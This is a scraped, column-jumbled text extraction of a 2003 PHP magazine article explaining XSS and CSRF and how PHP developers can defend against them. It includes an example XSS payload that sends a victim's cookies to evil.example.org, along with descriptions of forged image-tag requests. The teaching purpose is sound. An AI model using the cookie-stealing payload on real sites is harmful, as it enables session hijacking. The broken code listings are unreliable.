Foiling_Cross-Site_Attacks

Chia sẻ: Vu Trung | Ngày: | Loại File: PDF | Số trang:7

0
88
lượt xem
9
download

Foiling_Cross-Site_Attacks

Mô tả tài liệu
  Download Vui lòng tải xuống để xem tài liệu đầy đủ

Figure 1 illustrates how this form appears in a web browser. Of course, more important than this form is the script that receives it. If the data being submitted in the form is not properly validated, malicious users can insert a dangerous script or worse, and your only hope is that the malicious user isn’t very creative in their attack. Consider that the registration data is stored in a database and that the SQL statement used to store this data is generated as follows:

Chủ đề:
Lưu

Nội dung Text: Foiling_Cross-Site_Attacks

  1. Zend Studio 3.0 is the In partnership with Zend official PHP IDE of Technologies php|cruise We’ve got you covered, from port to sockets. php | Cruise Port Canaveral • Coco Cay • Nassau March 1st - March 5th 2004 Signup now and save $100.00! Hurry, special offer ends October 31st. Visit us at www.phparch.com/cruise for more details. Andrei Zmievski - Andrei's Regex Clinic, James Cox - XML for the Masses, Wez Furlong - Extending PHP, Stuart Herbert - Safe and Advanced Error Handling in PHP5, Peter James - mod_rewrite: From Zero to Hero, George Schlossnagle - Profiling PHP, Ilia Alshanetsky - Programming Web Services, John Coggeshall - Mastering PDFLib, Jason Sweat - Data Caching Techniques Plus: Stream socket programming, debugging techniques, writing high-performance code, data mining, PHP 101, safe and advanced error handling in PHP5, programming smarty, and much, much more!
  2. Foiling Cross-Site Attacks by Chris Shiflett Security is a nebulous topic. Web applications are often described as being secure or insecure, and this yields dangerous misconceptions and confu- sion. Just how secure is a secure web application? The inference is that ‘secure’ web applications FEATURE are 100% secure and invulnerable to any type of attack. Based on this, we can safely consider every web application to be insecure. N is anything that your web server sends to the client that ow that we have established that all web appli- originates from somewhere else. Some examples of for- cations are insecure, I will explain how to make eign data include posts on a web forum, email dis- your web applications more secure by describ- played by a web mail client, a banner advertisement, ing two contrasting types of attacks: Cross-Site stock quotes provided by an XML feed over HTTP, and Scripting (XSS) and Cross-Site Request Forgeries (CSRF). of course client data. For any interesting web applica- My hope is that you will not only learn some specific tion, there will be scores of foreign data, and these are strategies for protecting against these types of attacks, the types of applications that require the most atten- but more importantly, that you will also gain crucial tion. Of course, the danger is not specifically that you insight that can help you more clearly understand web trust the foreign data, but rather that you assume it is application security in general. safe and display it to your users without proper valida- tion. You are trusted by your users, and XSS attacks Cross-Site Scripting exploit that trust. As a PHP professional, you have most likely heard of To understand why displaying foreign data can be Cross-Site Scripting (XSS). In fact, you may have already dangerous, consider a simple registration system where taken steps to protect your own web applications users provide their preferred username and email against XSS attacks. The effectiveness of such preven- address, and their registration information is emailed to tive measures relies upon whether these measures them once their account is created. The HTML form address the problem or merely a symptom, and of that collects this information might be as follows: course how well you understand the problem. It is a common tendency to only address a specific exploit of a vulnerability in much the same way that we might Username: gy, a web developer’s effort is less effective, and there- Email: fore we want to address the root of the problem when- ever possible. The fundamental error that yields XSS vulnerabilities REQUIREMENTS is trusting foreign data. A general recommendation PHP: 4.2+ among web developers is to never trust client data, but OS: Any protecting against XSS requires even more mistrust, as Applications: N/A any foreign data can be dangerous. Code: http://code.phparch.com/16/5 What is foreign data exactly? Simply put, foreign data Code Directory: xss October 2003 PHP Architect www.phparch.com 54 ● ●
  3. FEATURES Foiling Cross-Site Attacks Listing 1 Figure 1 illustrates how this form appears in a web 1 browser. 2 Of course, more important than this form is the script 3 Username 4 Email that receives it. If the data being submitted in the form 5 6 $_POST[‘reg_username’] = 20 addslashes($_POST[‘reg_username’]); $_POST[‘reg_email’] = addslashes($_POST[‘reg_email’]); Figure 1 } $sql = “insert into users (username, email) values (‘{$_POST[‘reg_username’]}’, ‘{$_POST[‘reg_email’]}’)”; What should stand out in this SQL statement is the use of the $_POST array in its construction. The calls to addslashes() are only necessary to ensure that the SQL statement is not mangled by the data itself (it is assumed that the database being used escapes quotes with a backslash; modify this example as necessary). Data in $_POST comes from the client, and this code demonstrates a blind trust of this data. With legitimate users, the dangers of this approach remain hidden, and this is exactly how many web application vulnerabilities are born. Consider the following username: alert(‘Oh No!’); While we can easily determine that this is not a valid Figure 2 username, it demonstrates how the code that we write might not be so wise. Without proper validation of the data being stored, anything can end up in the data- base. Of course, the danger in the case of XSS is when this data is displayed to other users. Let us assume that this registration system has a cor- responding administrative application that is only accessible from the local network by authorized admin- istrators. It is easy to assume that an application inac- cessible from the Internet is safe, and less effort might be invested in the security of such an application. Consider the code in Listing 1 that displays a list of reg- istered users to authorized administrators: If the data in the database is not validated prior to storage, an administrator might be subject to an XSS attack by using this application. This risk is illustrated in Figure 2. If this script is displayed to an administrator, the This risk is even clearer if you consider a more mali- administrator’s cookies that are associated with the cur- cious client-side script such as the following: rent application’s domain are sent to evil.example.org for possible collection. In this example, the remote document.location = script steal_cookies.php can access these cookies via ‘http://evil.example.org/steal_cookies.php? cookies=’ + document.cookie $_GET[‘cookies’]. Once captured, these cookies may October 2003 PHP Architect www.phparch.com 55 ● ●
  4. FEATURES Foiling Cross-Site Attacks be used to launch impersonation attacks, obtain sensi- is most intuitive to you, and use it consistently in all of tive data, and so forth. your development. Most of these naming conventions use descriptive terms such as clean and dirty, alluding to filtered and unfiltered data, respectively (the process of Protecting Against XSS There are a few guidelines that you can follow to help data filtering is also commonly referred to as cleaning or protect your applications against XSS attacks. Hopefully scrubbing). Some describe unfiltered data as tainted. you can already predict a few of these. When you employ one of these naming conventions, it makes it easier for you to keep track of your data. The 1. Filter all foreign data most important keys to implementing a naming con- The most important guideline is to filter all foreign data. vention are to only output filtered data and to ensure If you discover an XSS vulnerability in one of your appli- that no unfiltered data can be improperly named. cations, it should be due to faulty filtering logic, not due to a complete lack of filtering logic. 5. Be creative Armed with a good understanding of the web as well as 2. Use existing functions your own application, you are the most qualified person Let PHP help with this; functions like to assess its security and to protect your application and htmlentities(), strip_tags(), and your users from attack. It is important to be creative and utf8_decode() can help you write your filtering to try not to make any assumptions about how users logic. The key is to rely on built-in functions whenever interact with your site. Foreign data can be anything, they are available. For example, if you want to make and you will soon see that even a legitimate user may sure that HTML entities are properly encoded, it is be an unknowing accomplice to an attack. Trust noth- much safer to use htmlentities() than to write your ing until your data filtering logic approves of it. own function that does the same thing. Performance considerations aside (htmlentities() is also faster), Cross-Site Request Forgeries the built-in function has certainly been reviewed and Cross-Site Request Forgeries (CSRF) are an almost oppo- tested by more people than your code, and it is far less site style of attack. Rather than exploiting the trust that likely to contain errors that yield vulnerabilities. a user has for a web site, they exploit the trust that a web site has for a user. In the case of the XSS attacks we 3. Only allow safe content just discussed, the user is the victim. In the case of CSRF, When writing your filtering logic, only allow content the user is an unknowing accomplice. that you consider safe rather than trying to exclude Because CSRF involves a forged HTTP request, it is content that you consider unsafe. For example, if a user important to first understand what an HTTP request is. is supplying a last name, you might start by only allow- The web is a client/server environment, and HTTP ing alphabetic characters and spaces, as these are quite (Hypertext Transfer Protocol) is the protocol that web safe (of course, you want to also make sure that the clients and servers use to communicate. Web clients length is sane). While the names Berners-Lee and (browsers being the most common example) send O’Reilly are incorrectly rejected, this problem is easily HTTP requests to web servers, and those servers return resolved. A quick change to your filtering logic to also an HTTP response in reply. A request and its correspon- allow apostrophes and hyphens is all that is needed. ding response make up an HTTP transaction. A basic Over time, you can perfect your filtering logic, so that example of an HTTP request is as follows: such errors become a distant memory. GET / HTTP/1.1 The key is to not fear missing something when trying Host: www.example.org to brainstorm for all valid characters and resort to being The URL being requested in this example is too generous in your filtering; it is much worse to allow http://www.example.org/. A slightly more realistic a malicious character than to reject a safe one. In addi- example of a request for this same resource is the fol- tion, when you err on the side of caution, a quick fix lowing: resolves the problem, and those who encounter the problem are more likely to let you know. If you create GET / HTTP/1.1 an XSS vulnerability, the fix is likely to be slow and Host: www.example.org painful, and you may not learn of the problem until it is User-Agent: Mozilla/1.4 Accept: text/xml, image/png, image/jpeg, image/gif, too late and your application is compromised. */* This second example demonstrates the use of two 4. Use a strict naming convention additional HTTP headers: User-Agent and Accept. The There are many naming conventions that developers Host header that is included in both examples is use to identify whether a particular variable contains fil- required in HTTP/1.1. There are many HTTP headers tered or unfiltered data. Choose whatever one of these that may be included in a request, and you might be October 2003 PHP Architect www.phparch.com 56 ● ●
  5. FEATURES Foiling Cross-Site Attacks familiar with referencing these in your code. PHP makes have it be sent by the victim. While this may not sound these available to you in the $_SERVER array, such as trivial, it unfortunately is. Consider the following tag: $_SERVER[‘HTTP_HOST’] , $_SERVER[‘HTTP_USER_AGENT’] , and $_SERVER[‘HTTP_ACCEPT’]. For the remainder of this examples. The most common variety of CSRF attacks use the When a browser requests this image, the HTTP HTML tag to forge the request. To explain how request looks identical to the above example, including this is accomplished, assume that a request for the cookie for session management. With a simple http://www.example.org/ results in the following HTTP change to the URL referenced in this tag, an response: attacker can modify the subject and message to be any- thing he/she desires. All the attacker must do to launch HTTP/1.1 200 OK the attack is have the victim visit a URL that contains Content-Length: 61 this tag, and the victim posts a message of the attacker’s choosing on the forum. Because requests for embedded resources are not likely to be noticed, the victim may be completely unaware of the attack. The important aspect of this example is the content More dangerous types of attacks might forge requests (the HTML). When a browser interprets the HTML with- that purchase items on a web site or perform adminis- in a response, it sends a GET request for each addition- trative functions on a restricted web application. al resource, such as an image, that it needs in order to Consider an intranet application located at render the page. For example, after interpreting this http://192.168.0.1/admin/ that allows authorized users response, an additional request similar to the following to terminate employees. Even with a flawless session is sent for the image: management mechanism that is immune to imperson- GET /image.png HTTP/1.1 ation, combined with the fact that this application can- Host: www.example.org not be accessed by users outside of the local network, a CSRF attack can avoid these safeguards with something The most important characteristic of this request is as simple as the following: that it is identical to the first request except for the path to the resource. This is because requests for images are is a resource; there is no method for the browser to Figure 4 illustrates this particular type of CSRF attack notify the web server that it intends to be requesting an and how it can be used to penetrate an otherwise image. Figure 3 illustrates how a CSRF attack abuses this secure local network. behavior. In order to appreciate the danger that this behavior The most challenging characteristic of CSRF attacks is represents, consider a simple web forum located at that the legitimate user is essentially making the http://forum.example.org/ that uses the following request. Thus, regardless of how perfect the user iden- HTML form to allow users to add a post: tification and/or session management mechanism is, a CSRF attack can still be successful. Also, because it is Subject: tags (especially since the attacker could coerce Message: the victim into visiting the attacker’s own web site), the problem must be addressed on the receiving site. Because the method of the form is not specified, a Protecting Against CSRF GET request is sent upon submission, and the form Protecting your applications against CSRF attacks is fields are included as URL variables. If a user enters more challenging than protecting them against XSS “foo” as the subject and “bar” as the message, an HTTP attacks. However, there are a few guidelines that you request similar to the following is sent (assuming that can follow to mitigate the risk of a successful attack. the session identifier is propagated via a cookie): 1. Use POST in forms GET /add_post.php?post_subject=foo&post_message=bar HTTP/1.1 Because requests for embedded resources are made Host: forum.example.org using the GET request method, one way to distinguish Cookie: PHPSESSID=123456789 the legitimate HTTP requests from those forged using If someone wants to forge posts to such a forum, all the tag method of forgery is to use POST as the they must do is replicate the format of this request and October 2003 PHP Architect www.phparch.com 57 ● ●
  6. FEATURES Foiling Cross-Site Attacks form method. The form used to submit a post to but multiple consecutive POST requests are more diffi- forum.example.org could specify this as follows: cult to forge. 4. Force the use of your own HTML forms The core problem of CSRF is that a forged request can Of course, it is not necessarily a good idea to blindly imitate a form submission. If you can somehow deter- choose the POST method for every form, but forms that mine whether your own web page was used to submit are candidates for attack should certainly use POST the form, you can practically eliminate the risk of a CSRF rather than GET. As with any security provision, this step attack. After all, if the user has not requested the form does not guarantee protection, and your users can be recently, why should a form submission from this user tricked into sending forged POST requests as well. For be considered valid? This is, of course, easier said than example, they might click on an image that submits a done, but there are a few techniques that can be used form, including any number of hidden form fields. The to accomplish this. My favorite techniques are those following example illustrates this technique: that involve a shared secret between the server and the legitimate user. For example, consider Listing 2 as a Every time a user requests this form, a new token is user’s session, replacing any previous ones) and includ- ed in the form as a hidden form variable. Therefore, This style of attack, however, is at least more obvious when a request to post a message is received, not only to the victim, because a browser considers the POST can the token be compared with the token in the user’s request to be for the parent resource. So, the user session, but a timeout can also be applied to further should be aware of the attack, even if after the fact (while looking at the screen displaying the new post). Figure 3 2. Use $_POST rather than relying on register_globals If forum.example.org has register_globals enabled and references $post_subject and $post_message in the add_post.php script, using POST for the form does not help anything or allow you to distinguish between a legitimate request and a CSRF attack. While register_globals has earned a poor reputation in recent years, this has been mostly due to poor pro- gramming by inexperienced developers. CSRF repre- sents a legitimate reason to disable register_globals regardless of your experience or security expertise. Of course, one could argue that $_POST can be used with register_globals enabled, but that defeats the purpose. Another legitimate argument in defense of Figure 4 register_globals might be that it is possible to protect against CSRF with register_globals enabled by trying to force the use of your own forms. While this is a valid point, it only suggests that register_globals is techni- cally not a security vulnerability; it is a security risk. 3. Do not oversimplify important actions If a single request by a legitimate user can trigger a powerful action, the risk is greater than if several requests are necessary to do the same. Even a simple verification page can be helpful, so long as the page cannot be avoided (for example, if having ?verified=yes in the URL is all that is necessary to bypass verification, it is useless). Multiple consecutive GET requests can be forged using a series of images, October 2003 PHP Architect www.phparch.com 58 ● ●
  7. FEATURES Foiling Cross-Site Attacks minimize the risk. This tactic makes a CSRF attack More Information extremely difficult and therefore represents a high level I presented a talk about XSS and CSRF entitled of protection. PHP Under Attack at OSCON 2003, and that talk (with examples disabled for security) is available online at Summary I hope that you now have a firm understanding of both http://talks.php.net/show/php-under-attack/ XSS and CSRF as well as web application security in general. The key to security is to make life easy for the More information about XSS can be found good guys and difficult for the bad guys. No application at the following URLs: is completely secure, so try to focus on making success- ful attacks as difficult to achieve as possible. Every http://httpd.apache.org/info/css-security/ obstacle helps, and even a bit of obscurity can be help- http://www.cgisecurity.com/articles/xss-faq.shtml ful, despite what some people may lead you to believe. Lastly, the original CSRF description can be found at: http://www.tux.org/~peterw/csrf.txt Listing 2 About the Author ?> Chris Shiflett has been developing Web applications with PHP for a num- 1

CÓ THỂ BẠN MUỐN DOWNLOAD

Đồng bộ tài khoản